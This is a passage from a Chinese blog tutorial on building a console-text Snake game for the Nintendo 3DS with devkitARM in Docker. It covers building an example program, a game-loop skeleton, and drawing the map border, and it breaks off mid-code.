&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; pull devkitpro&#x2F;devkitarm&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;构建示例程序&quot;&gt;构建示例程序&lt;&#x2F;h2&gt;
&lt;p&gt;devkitPro&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;提供了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;devkitPro&#x2F;3ds-examples&quot;&gt;大量的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;示例程序&lt;&#x2F;a&gt;，我们可以随意挑选一个试试我们的工具链是否安装成功了。比如，我想试试能不能编译&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;read-controls&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这个示例，首先进入它所在的文件夹：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; clone https:&#x2F;&#x2F;github.com&#x2F;devkitPro&#x2F;3ds-examples.git&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 3ds-examples&#x2F;input&#x2F;read-controls&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时当前路径下应该有一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Makefile，和带着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;main.c&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;source&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;子目录：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;tree&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# 下面是输出&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;├──&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; Makefile&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;└──&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; source&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    └──&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; main.c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; directory,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; files&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后使用来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Docker&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镜像的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;make&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来构建程序（如果本地没有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;devkitARM&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镜像，这一步会自动拉取&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; run&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --rm -v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $PWD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;PWD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;##*&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; devkitpro&#x2F;devkitarm make&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;PWD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;##*&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果没有意外，会得到可以被&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;hbmenu&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;运行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;read-controls.3dsx。&lt;&#x2F;p&gt;
&lt;p&gt;我们的目标也是要得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3dsx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件，而构建它的规则和示例程序的规则（写在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Makefile&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里）无异。鉴于&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;devkitPro&#x2F;3ds-examples&#x2F;commit&#x2F;47b25d925df589c230be91644ee3de8f7aa16ec7&quot;&gt;示例程序的代码采用了放弃一切权利的公共领域授权&lt;&#x2F;a&gt;，我们可以直接修改它的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Makefile，据为己有。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;基本框架&quot;&gt;基本框架&lt;&#x2F;h2&gt;
&lt;p&gt;简单的游戏可以被分成如下几步：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;初始化各种资源；&lt;&#x2F;li&gt;
&lt;li&gt;主循环：
&lt;ol&gt;
&lt;li&gt;读取输入；&lt;&#x2F;li&gt;
&lt;li&gt;更新下一帧的状态；&lt;&#x2F;li&gt;
&lt;li&gt;绘制下一帧。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;游戏结束，释放资源。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;所以我们的初始代码也如下所示：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;3ds.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; argc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; char*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; argv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    setup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;aptMainLoop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        input&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; 2.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        update&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; 2.2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        draw&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; 2.3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    cleanup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; 3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;setup、draw、cleanup&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;所必须的样板代码，可以在上一小节的示例程序里找到。我就不再赘述了。&lt;&#x2F;p&gt;
&lt;p&gt;另外要注意的是更新频率，如果每个循环蛇都前进一格的话，那就太快了。有些游戏引擎的更新函数会提供“距离上次调用过去了多少时间”的参数，让开发者计算本次更新要更新到什么程度。不过，这种方法对我们的简单游戏有些过火：我们只要给主循环加个不到规定时间不更新的判断即可：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;u64 reference &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; svcGetSystemTick&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span&gt; enoughWait &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; now &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; reference &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; CPU_TICKS_PER_MSEC &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;enoughWait&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    reference &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; now&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    update&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;画地图&quot;&gt;画地图&lt;&#x2F;h2&gt;
&lt;p&gt;很抱歉，我完全不了解&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;shader、gfx。所以我只能用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libctru&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;console&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;模式打印彩色字符来充当游戏画面。引用一下&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;devkitPro&#x2F;3ds-examples&#x2F;blob&#x2F;ee2e047049f6962a1deab26779e66f521302ab02&#x2F;graphics&#x2F;printing&#x2F;colored-text&#x2F;source&#x2F;main.c#L19-L22&quot;&gt;示例程序&lt;&#x2F;a&gt;的注释：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;To move the cursor you have to print &quot;\x1b[r;cH&quot;, where r and c are
respectively the row and column where you want your cursor to move.
The top screen has 30 rows and 50 columns. The bottom screen has 30
rows and 40 columns.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;所以在屏幕四周打印一圈井号充当地图边界的代码就是：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;using&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt; point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;pair&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;unsigned&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; unsigned&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PrintConsole topScreen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;const char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[],&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt; point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;    &#x2F;&#x2F; 把光标移到(y + 1, x + 1)，打印c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;    &#x2F;&#x2F; +1是因为libctru的行、列是从一开始数的&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;H&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; drawMap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    consoleSelect&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;topScreen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    consoleClear&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;    &#x2F;&#x2F; 把光标移到左上角，打印50个#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[1;1H##################################################&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;auto&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;u&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_HEIGHT &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;        &#x2F;&#x2F; 从第二行到倒数第二行，在最左边和最右边各打印一个#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; { &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; i }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
